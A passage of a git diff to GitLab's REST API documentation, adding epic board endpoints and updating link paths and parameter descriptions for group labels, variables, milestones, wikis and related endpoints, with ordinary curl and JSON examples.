the group is private, a `GET` +request results in `404` status code. + +## List all epic boards in a group + +Lists epic boards in the given group. + +```plaintext +GET /groups/:id/epic_boards +``` + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) accessible by the authenticated user | + +```shell +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/5/epic_boards" +``` + +Example response: + +```json +[ + { + "id": 1, + "name": "group epic board", + "group": { + "id": 5, + "name": "Documentcloud", + "web_url": "http://example.com/groups/documentcloud" + }, + "hide_backlog_list": false, + "hide_closed_list": false, + "labels": [ + { + "id": 1, + "title": "Board Label", + "color": "#c21e56", + "description": "label applied to the epic board", + "group_id": 5, + "project_id": null, + "template": false, + "text_color": "#FFFFFF", + "created_at": "2023-01-27T10:40:59.738Z", + "updated_at": "2023-01-27T10:40:59.738Z" + } + ], + "lists": [ + { + "id": 1, + "label": { + "id": 69, + "name": "Testing", + "color": "#F0AD4E", + "description": null + }, + "position": 1, + "list_type": "label" + }, + { + "id": 2, + "label": { + "id": 70, + "name": "Ready", + "color": "#FF0000", + "description": null + }, + "position": 2, + "list_type": "label" + }, + { + "id": 3, + "label": { + "id": 71, + "name": "Production", + "color": "#FF5F00", + "description": null + }, + "position": 3, + "list_type": "label" + } + ] + } +] +``` + +## Single group epic board + +Gets a single group epic board. + +```plaintext +GET /groups/:id/epic_boards/:board_id +``` + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) accessible by the authenticated user | +| `board_id` | integer | yes | The ID of an epic board | + +```shell +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/5/epic_boards/1" +``` + +Example response: + +```json + { + "id": 1, + "name": "group epic board", + "group": { + "id": 5, + "name": "Documentcloud", + "web_url": "http://example.com/groups/documentcloud" + }, + "labels": [ + { + "id": 1, + "title": "Board Label", + "color": "#c21e56", + "description": "label applied to the epic board", + "group_id": 5, + "project_id": null, + "template": false, + "text_color": "#FFFFFF", + "created_at": "2023-01-27T10:40:59.738Z", + "updated_at": "2023-01-27T10:40:59.738Z" + } + ], + "lists" : [ + { + "id" : 1, + "label" : { + "id": 69, + "name" : "Testing", + "color" : "#F0AD4E", + "description" : null + }, + "position" : 1, + "list_type": "label" + }, + { + "id" : 2, + "label" : { + "id": 70, + "name" : "Ready", + "color" : "#FF0000", + "description" : null + }, + "position" : 2, + "list_type": "label" + }, + { + "id" : 3, + "label" : { + "id": 71, + "name" : "Production", + "color" : "#FF5F00", + "description" : null + }, + "position" : 3, + "list_type": "label" + } + ] + } +``` + +## List group epic board lists + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/385904) in GitLab 15.9. + +Gets a list of the epic board's lists. +Does not include `open` and `closed` lists. + +```plaintext +GET /groups/:id/epic_boards/:board_id/lists +``` + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) accessible by the authenticated user | +| `board_id` | integer | yes | The ID of an epic board | + +```shell +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/5/epic_boards/1/lists" +``` + +Example response: + +```json +[ + { + "id" : 1, + "label" : { + "name" : "Testing", + "color" : "#F0AD4E", + "description" : null + }, + "position" : 1, + "list_type" : "label", + "collapsed" : false + }, + { + "id" : 2, + "label" : { + "name" : "Ready", + "color" : "#FF0000", + "description" : null + }, + "position" : 2, + "list_type" : "label", + "collapsed" : false + }, + { + "id" : 3, + "label" : { + "name" : "Production", + "color" : "#FF5F00", + "description" : null + }, + "position" : 3, + "list_type" : "label", + "collapsed" : false + } +] +``` + +## Single group epic board list + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/385904) in GitLab 15.9. + +Gets a single board list. + +```plaintext +GET /groups/:id/epic_boards/:board_id/lists/:list_id +``` + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) accessible by the authenticated user | +| `board_id` | integer | yes | The ID of an epic board | +| `list_id` | integer | yes | The ID of an epic board's list | + +```shell +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/5/epic_boards/1/lists/1" +``` + +Example response: + +```json +{ + "id" : 1, + "label" : { + "name" : "Testing", + "color" : "#F0AD4E", + "description" : null + }, + "position" : 1, + "list_type" : "label", + "collapsed" : false +} +``` diff --git a/doc/api/group_import_export.md b/doc/api/group_import_export.md index 989b7a66285..c648b6bad37 100644 --- a/doc/api/group_import_export.md +++ b/doc/api/group_import_export.md @@ -87,7 +87,7 @@ POST /groups/import | `name` | string | yes | The name of the group to be imported | | `path` | string | yes | Name and path for new group | | `file` | string | yes | The file to be uploaded | -| `parent_id` | integer | no | ID of a parent group that the group will be imported into. Defaults to the current user's namespace if not provided. | +| `parent_id` | integer | no | ID of a parent group to import the group into. Defaults to the current user's namespace if not provided. | To upload a file from your file system, use the `--form` argument. This causes cURL to post data using the header `Content-Type: multipart/form-data`. diff --git a/doc/api/group_iterations.md b/doc/api/group_iterations.md index 988986d8965..3c445ee09dd 100644 --- a/doc/api/group_iterations.md +++ b/doc/api/group_iterations.md @@ -26,7 +26,7 @@ GET /groups/:id/iterations?include_ancestors=false | Attribute | Type | Required | Description | | ------------------- | ------- | -------- | ----------- | -| `state` | string | no | 'Return `opened`, `upcoming`, `current (previously started)`, `closed`, or `all` iterations. Filtering by `started` state is deprecated starting with 14.1, please use `current` instead.' | +| `state` | string | no | 'Return `opened`, `upcoming`, `current (previously started)`, `closed`, or `all` iterations. Filtering by `started` state is deprecated starting with 14.1, use `current` instead.' | | `search` | string | no | Return only iterations with a title matching the provided string. | | `include_ancestors` | boolean | no | Include iterations from parent group and its ancestors. Defaults to `true`. | diff --git a/doc/api/group_labels.md b/doc/api/group_labels.md index f33f181336f..298847f929b 100644 --- a/doc/api/group_labels.md +++ b/doc/api/group_labels.md @@ -25,7 +25,7 @@ GET /groups/:id/labels | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `with_counts` | boolean | no | Whether or not to include issue and merge request counts. Defaults to `false`. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/31543) in GitLab 12.2)_ | | `include_ancestor_groups` | boolean | no | Include ancestor groups. Defaults to `true`. | | `include_descendant_groups` | boolean | no | Include descendant groups. Defaults to `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/259024) in GitLab 13.6 | @@ -77,7 +77,7 @@ GET /groups/:id/labels/:label_id | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer or string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `label_id` | integer or string | yes | The ID or title of a group's label. | | `include_ancestor_groups` | boolean | no | Include ancestor groups. Defaults to `true`. | | `include_descendant_groups` | boolean | no | Include descendant groups. Defaults to `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/259024) in GitLab 13.6 | @@ -114,7 +114,7 @@ POST /groups/:id/labels | Attribute | Type | Required | Description | | ------------- | ------- | -------- | ---------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `name` | string | yes | The name of the label | | `color` | string | yes | The color of the label given in 6-digit hex notation with leading '#' sign (for example, #FFAABB) or one of the [CSS color names](https://developer.mozilla.org/en-US/docs/Web/CSS/color_value#Color_keywords) | | `description` | string | no | The description of the label, | @@ -152,7 +152,7 @@ PUT /groups/:id/labels/:label_id | Attribute | Type | Required | Description | | ------------- | ------- | -------- | ---------------------------- | -| `id` | integer or string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer or string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `label_id` | integer or string | yes | The ID or title of a group's label. | | `new_name` | string | no | The new name of the label | | `color` | string | no | The color of the label given in 6-digit hex notation with leading '#' sign (for example, #FFAABB) or one of the [CSS color names](https://developer.mozilla.org/en-US/docs/Web/CSS/color_value#Color_keywords) | @@ -193,7 +193,7 @@ DELETE /groups/:id/labels/:label_id | Attribute | Type | Required | Description | | --------- | ------- | -------- | --------------------- | -| `id` | integer or string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer or string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `label_id` | integer or string | yes | The ID or title of a group's label. | ```shell @@ -214,7 +214,7 @@ POST /groups/:id/labels/:label_id/subscribe | Attribute | Type | Required | Description | | ---------- | ----------------- | -------- | ------------------------------------ | -| `id` | integer or string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer or string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `label_id` | integer or string | yes | The ID or title of a group's label. | ```shell @@ -250,7 +250,7 @@ POST /groups/:id/labels/:label_id/unsubscribe | Attribute | Type | Required | Description | | ---------- | ----------------- | -------- | ------------------------------------ | -| `id` | integer or string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer or string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `label_id` | integer or string | yes | The ID or title of a group's label. | ```shell diff --git a/doc/api/group_level_variables.md b/doc/api/group_level_variables.md index f6b47118b5f..4037a778d7f 100644 --- a/doc/api/group_level_variables.md +++ b/doc/api/group_level_variables.md @@ -18,7 +18,7 @@ GET /groups/:id/variables | Attribute | Type | required | Description | |-----------|---------|----------|---------------------| -| `id` | integer/string | yes | The ID of a group or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID of a group or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/1/variables" @@ -57,7 +57,7 @@ GET /groups/:id/variables/:key | Attribute | Type | required | Description | |-----------|---------|----------|-----------------------| -| `id` | integer/string | yes | The ID of a group or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID of a group or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `key` | string | yes | The `key` of a variable | ```shell @@ -86,13 +86,13 @@ POST /groups/:id/variables | Attribute | Type | required | Description | |-----------------|---------|----------|-----------------------| -| `id` | integer/string | yes | The ID of a group or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID of a group or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `key` | string | yes | The `key` of a variable; must have no more than 255 characters; only `A-Z`, `a-z`, `0-9`, and `_` are allowed | | `value` | string | yes | The `value` of a variable | | `variable_type` | string | no | The type of a variable. Available types are: `env_var` (default) and `file` | | `protected` | boolean | no | Whether the variable is protected | | `masked` | boolean | no | Whether the variable is masked | -| `raw` | boolean | no | Whether the variable is expandable | +| `raw` | boolean | no | Whether the variable is treated as a raw string. Default: `false`. When `true`, variables in the value are not [expanded](../ci/variables/index.md#prevent-cicd-variable-expansion). | | `environment_scope` **(PREMIUM)** | string | no | The [environment scope](../ci/environments/index.md#limit-the-environment-scope-of-a-cicd-variable) of a variable | ```shell @@ -122,13 +122,13 @@ PUT /groups/:id/variables/:key | Attribute | Type | required | Description | |-----------------|---------|----------|-------------------------| -| `id` | integer/string | yes | The ID of a group or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID of a group or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `key` | string | yes | The `key` of a variable | | `value` | string | yes | The `value` of a variable | | `variable_type` | string | no | The type of a variable. Available types are: `env_var` (default) and `file` | | `protected` | boolean | no | Whether the variable is protected | | `masked` | boolean | no | Whether the variable is masked | -| `raw` | boolean | no | Whether the variable is expandable | +| `raw` | boolean | no | Whether the variable is treated as a raw string. Default: `false`. When `true`, variables in the value are not [expanded](../ci/variables/index.md#prevent-cicd-variable-expansion). | | `environment_scope` **(PREMIUM)** | string | no | The [environment scope](../ci/environments/index.md#limit-the-environment-scope-of-a-cicd-variable) of a variable | ```shell @@ -158,7 +158,7 @@ DELETE /groups/:id/variables/:key | Attribute | Type | required | Description | |-----------|---------|----------|-------------------------| -| `id` | integer/string | yes | The ID of a group or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID of a group or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `key` | string | yes | The `key` of a variable | ```shell diff --git a/doc/api/group_milestones.md b/doc/api/group_milestones.md index 824c4eb4678..fc95230cbba 100644 --- a/doc/api/group_milestones.md +++ b/doc/api/group_milestones.md @@ -27,7 +27,7 @@ Parameters: | Attribute | Type | Required | Description | | --------- | ------ | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `iids[]` | integer array | no | Return only the milestones having the given `iid` (Note: ignored if `include_parent_milestones` is set as `true`) | | `state` | string | no | Return only `active` or `closed` milestones | | `title` | string | no | Return only the milestones having the given `title` | @@ -71,7 +71,7 @@ Parameters: | Attribute | Type | Required | Description | | --------- | ------ | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `milestone_id` | integer | yes | The ID of the group milestone | ## Create new milestone @@ -86,7 +86,7 @@ Parameters: | Attribute | Type | Required | Description | | --------- | ------ | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `title` | string | yes | The title of a milestone | | `description` | string | no | The description of the milestone | | `due_date` | date | no | The due date of the milestone, in ISO 8601 format (`YYYY-MM-DD`) | @@ -104,7 +104,7 @@ Parameters: | Attribute | Type | Required | Description | | --------- | ------ | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `milestone_id` | integer | yes | The ID of a group milestone | | `title` | string | no | The title of a milestone | | `description` | string | no | The description of a milestone | @@ -124,7 +124,7 @@ Parameters: | Attribute | Type | Required | Description | | --------- | ------ | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `milestone_id` | integer | yes | The ID of the group's milestone | ## Get all issues assigned to a single milestone @@ -139,7 +139,7 @@ Parameters: | Attribute | Type | Required | Description | | --------- | ------ | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `milestone_id` | integer | yes | The ID of a group milestone | Currently, this API endpoint doesn't return issues from any subgroups. @@ -159,7 +159,7 @@ Parameters: | Attribute | Type | Required | Description | | --------- | ------ | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `milestone_id` | integer | yes | The ID of a group milestone | ## Get all burndown chart events for a single milestone **(PREMIUM)** @@ -177,5 +177,5 @@ Parameters: | Attribute | Type | Required | Description | | --------- | ------ | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `milestone_id` | integer | yes | The ID of a group milestone | diff --git a/doc/api/group_protected_environments.md b/doc/api/group_protected_environments.md index ecd433bf321..3003b6b840f 100644 --- a/doc/api/group_protected_environments.md +++ b/doc/api/group_protected_environments.md @@ -34,7 +34,7 @@ GET /groups/:id/protected_environments | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) maintained by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) maintained by the authenticated user. | ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/5/protected_environments/" @@ -70,7 +70,7 @@ GET /groups/:id/protected_environments/:name | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) maintained by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) maintained by the authenticated user. | | `name` | string | yes | The deployment tier of the protected environment. One of `production`, `staging`, `testing`, `development`, or `other`. Read more about [deployment tiers](../ci/environments/index.md#deployment-tier-of-environments).| ```shell @@ -105,7 +105,7 @@ POST /groups/:id/protected_environments | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) maintained by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) maintained by the authenticated user. | | `name` | string | yes | The deployment tier of the protected environment. One of `production`, `staging`, `testing`, `development`, or `other`. Read more about [deployment tiers](../ci/environments/index.md#deployment-tier-of-environments).| | `deploy_access_levels` | array | yes | Array of access levels allowed to deploy, with each described by a hash. One of `user_id`, `group_id` or `access_level`. They take the form of `{user_id: integer}`, `{group_id: integer}` or `{access_level: integer}` respectively. | | `required_approval_count` | integer | no | The number of approvals required to deploy to this environment. | @@ -148,7 +148,7 @@ PUT /groups/:id/protected_environments/:name | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) maintained by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) maintained by the authenticated user. | | `name` | string | yes | The deployment tier of the protected environment. One of `production`, `staging`, `testing`, `development`, or `other`. Read more about [deployment tiers](../ci/environments/index.md#deployment-tier-of-environments).| | `deploy_access_levels` | array | no | Array of access levels allowed to deploy, with each described by a hash. One of `user_id`, `group_id` or `access_level`. They take the form of `{user_id: integer}`, `{group_id: integer}` or `{access_level: integer}` respectively. | | `required_approval_count` | integer | no | The number of approvals required to deploy to this environment. | @@ -314,7 +314,7 @@ DELETE /groups/:id/protected_environments/:name | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) maintained by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) maintained by the authenticated user. | | `name` | string | yes | The deployment tier of the protected environment. One of `production`, `staging`, `testing`, `development`, or `other`. Read more about [deployment tiers](../ci/environments/index.md#deployment-tier-of-environments).| ```shell diff --git a/doc/api/group_releases.md b/doc/api/group_releases.md index 1918d0a54b9..9c395adbe04 100644 --- a/doc/api/group_releases.md +++ b/doc/api/group_releases.md @@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w Review your groups' [releases](../user/project/releases/index.md) with the REST API. NOTE: -For information about the project releases API, visit the [Releases API](releases/index.md) page. +For more information about the project releases API, see [Releases API](releases/index.md). FLAG: On self-managed GitLab, by default this feature is not available. To make it available, ask an administrator to [enable the feature flag](../administration/feature_flags.md) named `group_releases_finder_inoperator`. @@ -27,7 +27,7 @@ Parameters: | Attribute | Type | Required | Description | |---------------------|----------------|----------|---------------------------------------------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `sort` | string | no | The direction of the order. Either `desc` (default) for descending order or `asc` for ascending order. | | `simple` | boolean | no | Return only limited fields for each release. | diff --git a/doc/api/group_repository_storage_moves.md b/doc/api/group_repository_storage_moves.md index a207775cf45..8d685c75f60 100644 --- a/doc/api/group_repository_storage_moves.md +++ b/doc/api/group_repository_storage_moves.md @@ -32,7 +32,7 @@ push new commits: The repository is temporarily read-only. Please try again later. ``` -This API requires you to [authenticate yourself](index.md#authentication) as an administrator. +This API requires you to [authenticate yourself](rest/index.md#authentication) as an administrator. APIs are also available to move other types of repositories: @@ -46,7 +46,7 @@ GET /group_repository_storage_moves ``` By default, `GET` requests return 20 results at a time, because the API results -are [paginated](index.md#pagination). +are [paginated](rest/index.md#pagination). Example request: @@ -82,7 +82,7 @@ GET /groups/:group_id/repository_storage_moves ``` By default, `GET` requests return 20 results at a time, because the API results -are [paginated](index.md#pagination). +are [paginated](rest/index.md#pagination). Supported attributes: diff --git a/doc/api/group_wikis.md b/doc/api/group_wikis.md index d5fe7825dc6..6fb74ea00b7 100644 --- a/doc/api/group_wikis.md +++ b/doc/api/group_wikis.md @@ -25,7 +25,7 @@ GET /groups/:id/wikis | Attribute | Type | Required | Description | | --------- | ------- | -------- | --------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `with_content` | boolean | no | Include pages' content | ```shell @@ -69,7 +69,7 @@ GET /groups/:id/wikis/:slug | Attribute | Type | Required | Description | | --------- | ------- | -------- | --------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `slug` | string | yes | URL-encoded slug (a unique string) of the wiki page, such as `dir%2Fpage_name` | | `render_html` | boolean | no | Return the rendered HTML of the wiki page | | `version` | string | no | Wiki page version SHA | @@ -100,7 +100,7 @@ POST /projects/:id/wikis | Attribute | Type | Required | Description | | ------------- | ------- | -------- | ---------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `content` | string | yes | The content of the wiki page | | `title` | string | yes | The title of the wiki page | | `format` | string | no | The format of the wiki page. Available formats are: `markdown` (default), `rdoc`, `asciidoc` and `org` | @@ -133,7 +133,7 @@ PUT /groups/:id/wikis/:slug | Attribute | Type | Required | Description | |-----------|----------------|----------------------------------|-------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding). | | `content` | string | yes if `title` is not provided | The content of the wiki page. | | `title` | string | yes if `content` is not provided | The title of the wiki page. | | `format` | string | no | The format of the wiki page. Available formats are `markdown` (default), `rdoc`, `asciidoc`, and `org`. | @@ -167,7 +167,7 @@ DELETE /groups/:id/wikis/:slug | Attribute | Type | Required | Description | | --------- | ------- | -------- | --------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `slug` | string | yes | URL-encoded slug (a unique string) of the wiki page, such as `dir%2Fpage_name` | ```shell @@ -187,7 +187,7 @@ POST /groups/:id/wikis/attachments | Attribute | Type | Required | Description | | ------------- | ------- | -------- | ---------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `file` | string | yes | The attachment to be uploaded | | `branch` | string | no | The name of the branch. Defaults to the wiki repository default branch | diff --git a/doc/api/groups.md b/doc/api/groups.md index 0e093759a80..8b4850fa6de 100644 --- a/doc/api/groups.md +++ b/doc/api/groups.md @@ -11,9 +11,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w Get a list of visible groups for the authenticated user. When accessed without authentication, only public groups are returned. -By default, this request returns 20 results at a time because the API results [are paginated](index.md#pagination). +By default, this request returns 20 results at a time because the API results [are paginated](rest/index.md#pagination). -When accessed without authentication, this endpoint also supports [keyset pagination](index.md#keyset-based-pagination): +When accessed without authentication, this endpoint also supports [keyset pagination](rest/index.md#keyset-based-pagination): - When requesting consecutive pages of results, we recommend you use keyset pagination. - Beyond a specific offset limit (specified by [max offset allowed by the REST API for offset-based pagination](../administration/instance_limits.md#max-offset-allowed-by-the-rest-api-for-offset-based-pagination)), offset pagination is unavailable. @@ -127,7 +127,7 @@ GET /groups?custom_attributes[key]=value&custom_attributes[other_key]=other_valu Get a list of visible direct subgroups in this group. -By default, this request returns 20 results at a time because the API results [are paginated](index.md#pagination). +By default, this request returns 20 results at a time because the API results [are paginated](rest/index.md#pagination). If you request this list as: @@ -139,7 +139,7 @@ Parameters: | Attribute | Type | Required | Description | | ------------------------ | ----------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) of the immediate parent group | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) of the immediate parent group | | `skip_groups` | array of integers | no | Skip the group IDs passed | | `all_available` | boolean | no | Show all the groups you have access to (defaults to `false` for authenticated users, `true` for administrators); Attributes `owned` and `min_access_level` have precedence | | `search` | string | no | Return the list of authorized groups matching the search criteria. Only subgroup short paths are searched (not full paths) | @@ -191,13 +191,13 @@ GET /groups/:id/subgroups Get a list of visible descendant groups of this group. When accessed without authentication, only public groups are returned. -By default, this request returns 20 results at a time because the API results [are paginated](index.md#pagination). +By default, this request returns 20 results at a time because the API results [are paginated](rest/index.md#pagination). Parameters: | Attribute | Type | Required | Description | | ------------------------ | ----------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) of the immediate parent group | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) of the immediate parent group | | `skip_groups` | array of integers | no | Skip the group IDs passed | | `all_available` | boolean | no | Show all the groups you have access to (defaults to `false` for authenticated users, `true` for administrators). Attributes `owned` and `min_access_level` have precedence | | `search` | string | no | Return the list of authorized groups matching the search criteria. Only descendant group short paths are searched (not full paths) | @@ -271,7 +271,7 @@ GET /groups/:id/descendant_groups Get a list of projects in this group. When accessed without authentication, only public projects are returned. -By default, this request returns 20 results at a time because the API results [are paginated](index.md#pagination). +By default, this request returns 20 results at a time because the API results [are paginated](rest/index.md#pagination). ```plaintext GET /groups/:id/projects @@ -281,7 +281,7 @@ Parameters: | Attribute | Type | Required | Description | | -------------------------------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `archived` | boolean | no | Limit by archived status | | `visibility` | string | no | Limit by visibility `public`, `internal`, or `private` | | `order_by` | string | no | Return projects ordered by `id`, `name`, `path`, `created_at`, `updated_at`, `similarity` (1), or `last_activity_at` fields. Default is `created_at` | @@ -354,7 +354,7 @@ To distinguish between a project in the group and a project shared to the group, Get a list of projects shared to this group. When accessed without authentication, only public shared projects are returned. -By default, this request returns 20 results at a time because the API results [are paginated](index.md#pagination). +By default, this request returns 20 results at a time because the API results [are paginated](rest/index.md#pagination). ```plaintext GET /groups/:id/projects/shared @@ -364,7 +364,7 @@ Parameters: | Attribute | Type | Required | Description | | ----------------------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `archived` | boolean | no | Limit by archived status | | `visibility` | string | no | Limit by visibility `public`, `internal`, or `private` | | `order_by` | string | no | Return projects ordered by `id`, `name`, `path`, `created_at`, `updated_at`, or `last_activity_at` fields. Default is `created_at` | @@ -502,7 +502,7 